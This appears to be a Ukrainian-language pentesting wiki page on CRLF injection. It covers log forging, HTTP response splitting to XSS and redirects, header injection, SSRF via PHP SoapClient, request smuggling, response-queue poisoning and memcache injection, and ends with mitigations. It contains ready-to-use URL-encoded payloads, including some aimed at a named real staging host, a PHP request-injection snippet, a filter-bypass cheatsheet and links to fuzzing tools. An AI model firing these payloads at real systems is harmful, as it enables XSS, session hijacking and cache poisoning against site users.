CRLF (%0D%0A) Injection

Reading time: 10 minutes

CRLF

Перенос каретки (CR) та переведення рядка (LF), разом відомі як CRLF, є спеціальними послідовностями символів, які використовуються в протоколі HTTP для позначення кінця рядка або початку нового. Веб-сервери та браузери використовують CRLF для розрізнення між HTTP-заголовками та тілом відповіді. Ці символи універсально використовуються в комунікаціях HTTP/1.1 на різних типах веб-серверів, таких як Apache та Microsoft IIS.

CRLF Injection Vulnerability

Вразливість CRLF injection полягає у вставці символів CR та LF у введення, надане користувачем. Ця дія вводить в оману сервер, додаток або користувача, змушуючи їх інтерпретувати вставлену послідовність як кінець однієї відповіді та початок іншої. Хоча ці символи не є inherently шкідливими, їхнє неправильне використання може призвести до розділення HTTP-відповідей та інших зловмисних дій.

Example: CRLF Injection in a Log File

Example from here

Розглянемо файл журналу в адміністративній панелі, який має формат: IP - Час - Відвіданий шлях. Типовий запис може виглядати так:

123.123.123.123 - 08:15 - /index.php?page=home

Зловмисник може використати ін'єкцію CRLF для маніпуляції цим журналом. Впроваджуючи символи CRLF у HTTP-запит, зловмисник може змінити вихідний потік і підробити записи журналу. Наприклад, впроваджена послідовність може перетворити запис журналу на:

/index.php?page=home&%0d%0a127.0.0.1 - 08:15 - /index.php?page=home&restrictedaction=edit

Тут %0d та %0a представляють URL-кодовані форми CR та LF. Після атаки журнал помилково відображатиме:

IP - Time - Visited Path

123.123.123.123 - 08:15 - /index.php?page=home&
127.0.0.1 - 08:15 - /index.php?page=home&restrictedaction=edit

Атакуючий таким чином маскує свої зловмисні дії, змушуючи виглядати так, ніби localhost (суб'єкт, як правило, довірений у середовищі сервера) виконує ці дії. Сервер інтерпретує частину запиту, що починається з %0d%0a, як один параметр, тоді як параметр restrictedaction розглядається як інший, окремий вхід. Маніпульований запит ефективно імітує легітимну адміністративну команду: /index.php?page=home&restrictedaction=edit

HTTP Response Splitting

Опис

HTTP Response Splitting — це вразливість безпеки, яка виникає, коли атакуючий експлуатує структуру HTTP-відповідей. Ця структура розділяє заголовки від тіла за допомогою специфічної послідовності символів, що складається з Carriage Return (CR), за яким слідує Line Feed (LF), що разом називається CRLF. Якщо атакуючий зможе вставити послідовність CRLF у заголовок відповіді, він може ефективно маніпулювати наступним вмістом відповіді. Цей тип маніпуляції може призвести до серйозних проблем безпеки, зокрема до Cross-site Scripting (XSS).

XSS через HTTP Response Splitting

1. Додаток встановлює власний заголовок, наприклад: X-Custom-Header: UserInput
2. Додаток отримує значення для UserInput з параметра запиту, скажімо, "user_input". У сценаріях, де відсутня належна валідація та кодування вхідних даних, атакуючий може створити корисне навантаження, яке містить послідовність CRLF, за якою слідує зловмисний вміст.
3. Атакуючий створює URL з особливо підготовленим 'user_input': ?user_input=Value%0d%0a%0d%0a<script>alert('XSS')</script>

• У цьому URL, %0d%0a%0d%0a є URL-кодованою формою CRLFCRLF. Це обманює сервер, змушуючи його вставити послідовність CRLF, змушуючи сервер сприймати наступну частину як тіло відповіді.

4. Сервер відображає введення атакуючого в заголовку відповіді, що призводить до ненавмисної структури відповіді, де зловмисний скрипт інтерпретується браузером як частина тіла відповіді.

Приклад HTTP Response Splitting, що призводить до перенаправлення

З https://medium.com/bugbountywriteup/bugbounty-exploiting-crlf-injection-can-lands-into-a-nice-bounty-159525a9cb62

Браузер до:

/%0d%0aLocation:%20http://myweb.com

І сервер відповідає заголовком:

Location: http://myweb.com

Інший приклад: (з https://www.acunetix.com/websitesecurity/crlf-injection/)

http://www.example.com/somepage.php?page=%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2025%0d%0a%0d%0a%3Cscript%3Ealert(1)%3C/script%3E

В URL шляху

Ви можете надіслати payload всередині URL шляху, щоб контролювати відповідь від сервера (приклад з тут):

http://stagecafrstore.starbucks.com/%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E
http://stagecafrstore.starbucks.com/%3f%0D%0ALocation://x:1%0D%0AContent-Type:text/html%0D%0AX-XSS-Protection%3a0%0D%0A%0D%0A%3Cscript%3Ealert(document.domain)%3C/script%3E

Перегляньте більше прикладів за адресою:

bugbounty-cheatsheet/cheatsheets/crlf.md at master \xc2\xb7 EdOverflow/bugbounty-cheatsheet \xc2\xb7 GitHub

Впровадження HTTP заголовків

Впровадження HTTP заголовків, часто експлуатоване через CRLF (Carriage Return and Line Feed) ін'єкцію, дозволяє зловмисникам вставляти HTTP заголовки. Це може підривати механізми безпеки, такі як фільтри XSS (Cross-Site Scripting) або SOP (Same-Origin Policy), що потенційно призводить до несанкціонованого доступу до чутливих даних, таких як CSRF токени, або маніпуляції сесіями користувачів через вставку cookie.

Експлуатація CORS через впровадження HTTP заголовків

Зловмисник може вставити HTTP заголовки, щоб активувати CORS (Cross-Origin Resource Sharing), обходячи обмеження, накладені SOP. Це порушення дозволяє скриптам з шкідливих джерел взаємодіяти з ресурсами з іншого джерела, потенційно отримуючи доступ до захищених даних.

SSRF та ін'єкція HTTP запитів через CRLF

CRLF ін'єкція може бути використана для створення та вставки абсолютно нового HTTP запиту. Яскравим прикладом цього є вразливість у класі PHP SoapClient, зокрема в параметрі user_agent. Маніпулюючи цим параметром, зловмисник може вставити додаткові заголовки та вміст тіла, або навіть повністю ін'єктувати новий HTTP запит. Нижче наведено приклад PHP, що демонструє цю експлуатацію:

$target = 'http://127.0.0.1:9090/test';
$post_string = 'variable=post value';
$crlf = array(
'POST /proxy HTTP/1.1',
'Host: local.host.htb',
'Cookie: PHPSESSID=[PHPSESSID]',
'Content-Type: application/x-www-form-urlencoded',
'Content-Length: '.(string)strlen($post_string),
"\r\n",
$post_string
);

$client = new SoapClient(null,
array(
'uri'=>$target,
'location'=>$target,
'user_agent'=>"IGN\r\n\r\n".join("\r\n",$crlf)
)
);

# Put a netcat listener on port 9090
$client->__soapCall("test", []);

Впровадження заголовків для підміни запитів

Для отримання додаткової інформації про цю техніку та потенційні проблеми перевірте оригінальне джерело.

Ви можете впроваджувати необхідні заголовки, щоб забезпечити збереження з'єднання на бекенді після відповіді на початковий запит:

GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0a HTTP/1.1

Після цього можна вказати другий запит. Цей сценарій зазвичай включає HTTP request smuggling, техніку, при якій додаткові заголовки або елементи тіла, додані сервером після ін'єкції, можуть призвести до різних експлойтів безпеки.

Експлуатація:

1. Ін'єкція зловмисного префікса: Цей метод передбачає отруєння запиту наступного користувача або веб-кешу, вказуючи зловмисний префікс. Приклад цього:

GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0aGET%20/redirplz%20HTTP/1.1%0d%0aHost:%20oastify.com%0d%0a%0d%0aContent-Length:%2050%0d%0a%0d%0a HTTP/1.1

2. Створення префікса для отруєння черги відповідей: Цей підхід передбачає створення префікса, який, у поєднанні з залишковим сміттям, формує повний другий запит. Це може викликати отруєння черги відповідей. Приклад:

GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0aGET%20/%20HTTP/1.1%0d%0aFoo:%20bar HTTP/1.1

Memcache Injection

Memcache є сховищем ключ-значення, яке використовує протокол у відкритому тексті. Більше інформації в:

11211 - Pentesting Memcache

Для отримання повної інформації прочитайте оригінальну статтю

Якщо платформа бере дані з HTTP запиту і використовує їх без очищення для виконання запитів до memcache сервера, зловмисник може зловживати цією поведінкою, щоб впроваджувати нові команди memcache.

Наприклад, у виявленій уразливості ключі кешу використовувалися для повернення IP-адреси та порту, до яких користувач повинен підключитися, і зловмисники змогли впроваджувати команди memcache, які отруювали кеш, щоб надсилати деталі жертв (включаючи імена користувачів та паролі) на сервери зловмисника:

Більше того, дослідники також виявили, що вони можуть десинхронізувати відповіді memcache, щоб надсилати IP-адреси та порти зловмисників користувачам, електронну пошту яких зловмисник не знав:

Як запобігти CRLF / HTTP Header Injections у веб-додатках

Щоб зменшити ризики CRLF (Carriage Return and Line Feed) або HTTP Header Injections у веб-додатках, рекомендуються такі стратегії:

1. Уникати прямого введення користувача в заголовках відповіді: Найбезпечніший підхід - утримуватися від включення введення, наданого користувачем, безпосередньо в заголовки відповіді.
2. Кодувати спеціальні символи: Якщо уникнути прямого введення користувача неможливо, переконайтеся, що ви використовуєте функцію, призначену для кодування спеціальних символів, таких як CR (Carriage Return) і LF (Line Feed). Ця практика запобігає можливості ін'єкції CRLF.
3. Оновити мову програмування: Регулярно оновлюйте мову програмування, що використовується у ваших веб-додатках, до останньої версії. Вибирайте версію, яка за замовчуванням забороняє ін'єкцію символів CR і LF у функціях, що відповідають за встановлення HTTP заголовків.

CHEATSHEET

Cheatsheet from here

1. HTTP Response Splitting
• /%0D%0ASet-Cookie:mycookie=myvalue (Check if the response is setting this cookie)

2. CRLF chained with Open Redirect
• //www.google.com/%2F%2E%2E%0D%0AHeader-Test:test2
• /www.google.com/%2E%2E%2F%0D%0AHeader-Test:test2
• /google.com/%2F..%0D%0AHeader-Test:test2
• /%0d%0aLocation:%20http://example.com

3. CRLF Injection to XSS
• /%0d%0aContent-Length:35%0d%0aX-XSS-Protection:0%0d%0a%0d%0a23
• /%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E

4. Filter Bypass
• %E5%98%8A = %0A = \u560a
• %E5%98%8D = %0D = \u560d
• %E5%98%BE = %3E = \u563e (>)
• %E5%98%BC = %3C = \u563c (<)
• Payload = %E5%98%8A%E5%98%8DSet-Cookie:%20test

Автоматичні інструменти

• https://github.com/Raghavd3v/CRLFsuite
• https://github.com/dwisiswant0/crlfuzz

Список виявлення брутфорсу

• https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/crlf.txt

Посилання

• https://www.invicti.com/blog/web-security/crlf-http-header/
• https://www.acunetix.com/websitesecurity/crlf-injection/
• https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning
• https://www.netsparker.com/blog/web-security/crlf-http-header/